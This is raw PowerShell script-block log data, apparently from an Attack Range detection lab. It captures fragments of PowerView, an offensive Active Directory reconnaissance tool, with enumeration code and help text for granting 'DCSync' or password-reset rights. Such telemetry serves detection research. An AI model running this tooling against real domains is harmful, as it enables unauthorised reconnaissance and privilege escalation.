4104132150x02372886Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local4141 = field 0 UInt32
State = field 1 $WTSConnectState
SessionId = field 2 UInt32
pSessionName = field 3 String -MarshalAs @('LPWStr')
pHostName = field 4 String -MarshalAs @('LPWStr')
pUserName = field 5 String -MarshalAs @('LPWStr')
pDomainName = field 6 String -MarshalAs @('LPWStr')
pFarmName = field 7 String -MarshalAs @('LPWStr')
}
# the particular WTSQuerySessionInformation result structure
$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{
AddressFamily = field 0 UInt32
Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)
}
# the NetShareEnum result structure
$SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{
Name = field 0 String -MarshalAs @('LPWStr')
Type = field 1 UInt32
Remark = field 2 String -MarshalAs @('LPWStr')
}
# the NetWkstaUserEnum result structure
$WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{
UserName = field 0 String -MarshalAs @('LPWStr')
LogonDomain = field 1 String -MarshalAs @('LPWStr')
AuthDomains = field 2 String -MarshalAs @('LPWStr')
LogonServer = field 3 String -MarshalAs @('LPWStr')
}
# the NetSessionEnum result structure
$SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{
CName = field 0 String -MarshalAs @('LPWStr')
UserName = field 1 String -MarshalAs @('LPWStr')
Time = field 2 UInt32
IdleTime = field 3 UInt32
}
# enum used by $LOCALGROUP_MEMBERS_INFO_2 below
$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{
SidTypeUser = 1
SidTypeGroup = 2
SidTypeDomain = 3
SidTypeAlias = 4
SidTypeWellKnownGroup = 5
SidTypeDeletedAccount = 6
SidTypeInvalid = 7
SidTypeUnknown = 8
SidTypeComputer = 9
}
# the NetLocalGroupEnum result structure
$LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{
lgrpi1_name = field 0 String -MarshalAs @('LPWStr')
lgrpi1_comment = field 1 String -MarshalAs @('LPWStr')
}
# the NetLocalGroupGetMembers result structure
$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{
lgrmi2_sid = field 0 IntPtr
lgrmi2_sidusage = field 1 $SID_NAME_USE
lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')
}
# enums used in DS_DOMAIN_TRUSTS
$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{
IN_FOREST = 1
DIRECT_OUTBOUND = 2
TREE_ROOT = 4
PRIMARY = 8
NATIVE_MODE = 16
DIRECT_INBOUND = 32
} -Bitfield
$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{
DOWNLEVEL = 1
UPLEVEL = 2
MIT = 3
DCE = 4
}
$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{
NON_TRANSITIVE = 1
UPLEVEL_ONLY = 2
FILTER_SIDS = 4
FOREST_TRANSITIVE = 8
CROSS_ORGANIZATION = 16
WITHIN_FOREST = 32
TREAT_AS_EXTERNAL = 64
}
# the DsEnumerateDomainTrusts result structure
$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{
NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')
DnsDomainName = field 1 String -MarshalAs @('LPWStr')
Flags = field 2 $DsDomainFlag
ParentIndex = field 3 UInt32
TrustType = field 4 $DsDomainTrustType
TrustAttributes = field 5 $DsDomainTrustAttributes
DomainSid = field 6 IntPtr
DomainGuid = field 7 Guid
}
# used by WNetAddConnection2W
$NETRESOURCEW = struct $Mod NETRESOURCEW @{
dwScope = field 0 UInt32
dwType = field 1 UInt32
dwDisplayType = field 2 UInt32
dwUsage = field 3 UInt32
lpLocalName = field 4 String -MarshalAs @('LPWStr')
lpRemoteName = field 5 String -MarshalAs @('LPWStr')
lpComment = field 6 String -MarshalAs @('LPWStr')
lpProvider = field 7 String -MarshalAs @('LPWStr')
}
# all of the Win32 API functions we need
$FunctionDefinitions = @(
(func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
(func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),
(func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
(func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
(func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),
(func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
(func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError),
(func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError),
(func advapi32 RevertToSelf ([Bool]) @() -SetLastError),
(func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
(func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
(func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
(func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])),
(func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])),
(func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])),
(func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError)
)
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Netapi32 = $Types['netapi32']
$Advapi32 = $Types['advapi32']
$Wtsapi32 = $Types['wtsapi32']
$Mpr = $Types['Mpr']
$Kernel32 = $Types['kernel32']
Set-Alias Get-IPAddress Resolve-IPAddress
Set-Alias Convert-NameToSid ConvertTo-SID
Set-Alias Convert-SidToName ConvertFrom-SID
Set-Alias Request-SPNTicket Get-DomainSPNTicket
Set-Alias Get-DNSZone Get-DomainDNSZone
Set-Alias Get-DNSRecord Get-DomainDNSRecord
Set-Alias Get-NetDomain Get-Domain
Set-Alias Get-NetDomainController Get-DomainController
Set-Alias Get-NetForest Get-Forest
Set-Alias Get-NetForestDomain Get-ForestDomain
Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog
Set-Alias Get-NetUser Get-DomainUser
Set-Alias Get-UserEvent Get-DomainUserEvent
Set-Alias Get-NetComputer Get-DomainComputer
Set-Alias Get-ADObject Get-DomainObject
Set-Alias Set-ADObject Set-DomainObject
Set-Alias Get-ObjectAcl Get-DomainObjectAcl
Set-Alias Add-ObjectAcl Add-DomainObjectAcl
Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl
Set-Alias Get-GUIDMap Get-DomainGUIDMap
Set-Alias Get-NetOU Get-DomainOU
Set-Alias Get-NetSite Get-DomainSite
Set-Alias Get-NetSubnet Get-DomainSubnet
Set-Alias Get-NetGroup Get-DomainGroup
Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup
Set-Alias Get-NetGroupMember Get-DomainGroupMember
Set-Alias Get-NetFileServer Get-DomainFileServer
Set-Alias Get-DFSshare Get-DomainDFSShare
Set-Alias Get-NetGPO Get-DomainGPO
Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup
Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping
Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping
Set-Alias Get-LoggedOnLocal Get-RegLoggedOn
Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess
Set-Alias Get-SiteName Get-NetComputerSiteName
Set-Alias Get-Proxy Get-WMIRegProxy
Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn
Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection
Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive
Set-Alias Get-NetProcess Get-WMIProcess
Set-Alias Invoke-ThreadedFunction New-ThreadedFunction
Set-Alias Invoke-UserHunter Find-DomainUserLocation
Set-Alias Invoke-ProcessHunter Find-DomainProcess
Set-Alias Invoke-EventHunter Find-DomainUserEvent
Set-Alias Invoke-ShareFinder Find-DomainShare
Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile
Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember
Set-Alias Get-NetDomainTrust Get-DomainTrust
Set-Alias Get-NetForestTrust Get-ForestTrust
Set-Alias Find-ForeignUser Get-DomainForeignUser
Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember
Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping
Set-Alias Get-DomainPolicy Get-DomainPolicyData
d123799e-550e-4321-b379-ad52712981c9C:\Tools\PowerSploit\Recon\PowerView.ps1
4104132150x02372863Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local1841 $IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments
# "IdentityReferenceDN: $IdentityReferenceDN"
if ($IdentityReferenceDN) {
$IdentityReferenceDomain = $IdentityReferenceDN.SubString($IdentityReferenceDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
# "IdentityReferenceDomain: $IdentityReferenceDomain"
$ObjectSearcherArguments['Domain'] = $IdentityReferenceDomain
$ObjectSearcherArguments['Identity'] = $IdentityReferenceDN
# "IdentityReferenceDN: $IdentityReferenceDN"
$Object = Get-DomainObject @ObjectSearcherArguments
if ($Object) {
$IdentityReferenceName = $Object.Properties.samaccountname[0]
if ($Object.Properties.objectclass -match 'computer') {
$IdentityReferenceClass = 'computer'
}
elseif ($Object.Properties.objectclass -match 'group') {
$IdentityReferenceClass = 'group'
}
elseif ($Object.Properties.objectclass -match 'user') {
$IdentityReferenceClass = 'user'
}
else {
$IdentityReferenceClass = $Null
}
# save so we don't look up more than once
$ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass
$InterestingACL = New-Object PSObject
$InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN
$InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier
$InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights
if ($_.ObjectAceType) {
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType
}
else {
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'
}
$InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags
$InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType
$InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags
$InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
$InterestingACL
}
}
else {
Write-Warning "[Find-InterestingDomainAcl] Unable to convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-ADName"
}
}
}
}
}
}
}
function Get-DomainOU {
<#
.SYNOPSIS
Search for all organization units (OUs) or specific OU objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties whencreated,usnchanged,...". By default, all OU objects for
the current domain are returned.
.PARAMETER Identity
An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or
GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). Wildcards accepted.
.PARAMETER GPLink
Only return OUs with the specified GUID in their gplink property.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainOU
Returns the current OUs in the domain.
.EXAMPLE
Get-DomainOU *admin* -Domain testlab.local
Returns all OUs with "admin" in their name in the testlab.local domain.
.EXAMPLE
Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
Returns all OUs with linked to the specified group policy object.
.EXAMPLE
"*admin*","*server*" | Get-DomainOU
Search for OUs with the specific names.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainOU -Credential $Cred
.OUTPUTS
PowerView.OU
Custom PSObject with translated OU property fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.OU')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
[Alias('GUID')]
$GPLink,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$OUSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
if ($OUSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^OU=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainOU] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$OUSearcher = Get-DomainSearcher @SearcherArguments
if (-not $OUSearcher) {
Write-Warning "[Get-DomainOU] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
else {
try {
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
$IdentityFilter += "(objectguid=$GuidByteString)"
}
catch {
$IdentityFilter += "(name=$IdentityInstance)"
}
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['GPLink']) {
Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in the gpLink property"
$Filter += "(gplink=*$GPLink*)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainOU] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
$OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)"
Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $($OUSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() }
else { $Results = $OUSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$OU = $_
}
else {
$OU = Convert-LDAPProperty -Properties $_.Properties
}
$OU.PSObject.TypeNames.Insert(0, 'PowerView.OU')
$OU
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainOU] Error disposing of the Results object: $_"
}
}
$OUSearcher.dispose()
}
}
}
function Get-DomainSite {
<#
.SYNOPSIS
Search for all sites or specific site objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties whencreated,usnchanged,...". By default, all site objects for
the current domain are returned.
.PARAMETER Identity
An site name (e.g. Test-Site), DistinguishedName (e.g. CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or
GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted.
.PARAMETER GPLink
Only return sites with the specified GUID in their gplink property.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainSite
Returns the current sites in the domain.
.EXAMPLE
Get-DomainSite *admin* -Domain testlab.local
Returns all sites with "admin" in their name in the testlab.local domain.
.EXAMPLE
Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
Returns all sites with linked to the specified group policy object.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainSite -Credential $Cred
.OUTPUTS
PowerView.Site
Custom PSObject with translated site property fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.Site')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
[Alias('GUID')]
$GPLink,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{
'SearchBasePrefix' = 'CN=Sites,CN=Configuration'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$SiteSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
if ($SiteSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishednad123799e-550e-4321-b379-ad52712981c9C:\Tools\PowerSploit\Recon\PowerView.ps1
4104132150x02372862Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local1741sGUID. These rights are removed from the target
object for the specified -PrincipalIdentity.
.PARAMETER TargetIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain object to modify ACLs for. Required. Wildcards accepted.
.PARAMETER TargetDomain
Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain.
.PARAMETER TargetLDAPFilter
Specifies an LDAP query string that is used to filter Active Directory object targets.
.PARAMETER TargetSearchBase
The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER PrincipalIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain principal to add for the ACL. Required. Wildcards accepted.
.PARAMETER PrincipalDomain
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Rights
Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'.
Defaults to 'All'.
.PARAMETER RightsGUID
Manual GUID representing the right to add to the target.
.EXAMPLE
$UserSID = Get-DomainUser user | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID}
[no results returned]
Add-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID }
AceQualifier : AccessAllowed
ObjectDN : CN=user2,CN=Users,DC=testlab,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-883232822-274137685-4173207997-2105
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-883232822-274137685-4173207997-2104
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
Remove-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID}
[no results returned]
.LINK
https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$TargetIdentity,
[ValidateNotNullOrEmpty()]
[String]
$TargetDomain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$TargetLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$TargetSearchBase,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String[]]
$PrincipalIdentity,
[ValidateNotNullOrEmpty()]
[String]
$PrincipalDomain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')]
[String]
$Rights = 'All',
[Guid]
$RightsGUID
)
BEGIN {
$TargetSearcherArguments = @{
'Properties' = 'distinguishedname'
'Raw' = $True
}
if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain }
